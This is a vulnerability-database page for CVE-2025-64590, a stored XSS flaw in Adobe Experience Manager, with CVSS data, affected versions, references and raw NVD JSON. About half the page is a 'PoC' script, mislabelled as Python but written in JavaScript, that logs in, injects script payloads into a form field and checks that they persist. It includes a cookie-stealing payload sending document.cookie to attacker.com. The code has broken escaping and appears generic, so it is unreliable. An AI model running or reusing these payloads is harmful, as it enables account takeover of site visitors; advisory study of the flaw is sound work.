CVE-2025-64590

Description

Adobe Experience Manager versions 6.5.23 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:adobe:experience_manager:*:*:*:*:-:*:*:* - VULNERABLE

cpe:2.3:a:adobe:experience_manager:*:*:*:*:aem_cloud_service:*:*:* - VULNERABLE

cpe:2.3:a:adobe:experience_manager:6.5:-:*:*:lts:*:*:* - VULNERABLE

Adobe Experience Manager 6.5.23及更早版本

Adobe Experience Manager 6.5.x < 6.5.24

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-64590 Adobe Experience Manager Stored XSS PoC
// Target: Adobe Experience Manager forms
// Prerequisites: Low-privilege user account

const axios = require('axios');
const cheerio = require('cheerio');

class AEMXSSExploit {
    constructor(baseUrl, username, password) {
        this.baseUrl = baseUrl;
        this.username = username;
        this.password = password;
        this.session = axios.create({ baseURL: baseUrl });
    }

    async authenticate() {
        // Login to Adobe Experience Manager
        const loginData = new URLSearchParams({
            j_username: this.username,
            j_password: this.password,
            validate: 'true'
        });
        
        const response = await this.session.post('/libs/granite/core/content/login.html/j_security_check', loginData);
        console.log('[+] Authentication attempted');
        return response.headers['set-cookie'];
    }

    async injectXSSPayload(formPath, fieldName) {
        // Stored XSS Payload Injection
        const xssPayload = '<script>alert(String.fromCharCode(88,83,83,32,80,111,67))</script>';
        
        const formData = new FormData();
        formData.append(fieldName, xssPayload);
        formData.append('./jcr:data', xssPayload);
        
        // Alternative event handler payloads
        const altPayloads = [
            '<img src=x onerror="alert(document.cookie)">',
            '<svg onload="alert(document.domain)">',
            '<body onload="fetch(\\'https://attacker.com/steal?c=\\'+document.cookie)\\'>">'
        ];
        
        try {
            // Submit form with XSS payload
            const response = await this.session.post(formPath, formData, {
                headers: { 'Content-Type': 'multipart/form-data' }
            });
            console.log('[+] XSS payload injected successfully');
            console.log('[+] Payload:', xssPayload);
            return true;
        } catch (error) {
            console.error('[-] Injection failed:', error.message);
            return false;
        }
    }

    async verifyStoredXSS(pagePath) {
        // Verify the XSS payload is stored and rendered
        const response = await this.session.get(pagePath);
        const $ = cheerio.load(response.data);
        
        if ($.html().includes('<script>alert') || 
            $.html().includes('onerror') || 
            $.html().includes('onload')) {
            console.log('[+] Stored XSS verified!');
            console.log('[+] Payload persists in:', pagePath);
            return true;
        }
        return false;
    }
}

// Usage Example
const exploit = new AEMXSSExploit(
    'https://vulnerable-aem-instance.com',
    'lowpriv_user',
    'password123'
);

(async () => {
    await exploit.authenticate();
    await exploit.injectXSSPayload(
        '/content/forms/af/vulnerable-form/jcr:content/guideContainer.af.internalsubmit.jsp',
        'name'
    );
    await exploit.verifyStoredXSS('/content/forms/af/vulnerable-form.html');
})();

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64590
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64590
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64590/
[4] VulDB https://vuldb.com/cve/CVE-2025-64590
[5] https://helpx.adobe.com/security/products/experience-manager/apsb25-115.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64590", "sourceIdentifier": "[email protected]", "published": "2025-12-10T19:16:22.240", "lastModified": "2025-12-12T18:15:10.477", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Experience Manager versions 6.5.23 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:*:*:*:*:-:*:*:*", "versionEndExcluding": "6.5.24.0", "matchCriteriaId": "0FC0CE20-2AC2-45FB-A7CF-9ADEEBC8B411"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:*:*:*:*:aem_cloud_service:*:*:*", "versionEndExcluding": "2025.12.0", "matchCriteriaId": "3326AB8A-7DF7-437C-86B6-58BA768E42E5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:6.5:-:*:*:lts:*:*:*", "matchCriteriaId": "852C2582-859F-40DB-96CF-E1274CEECC1F"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/experience-manager/apsb25-115.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}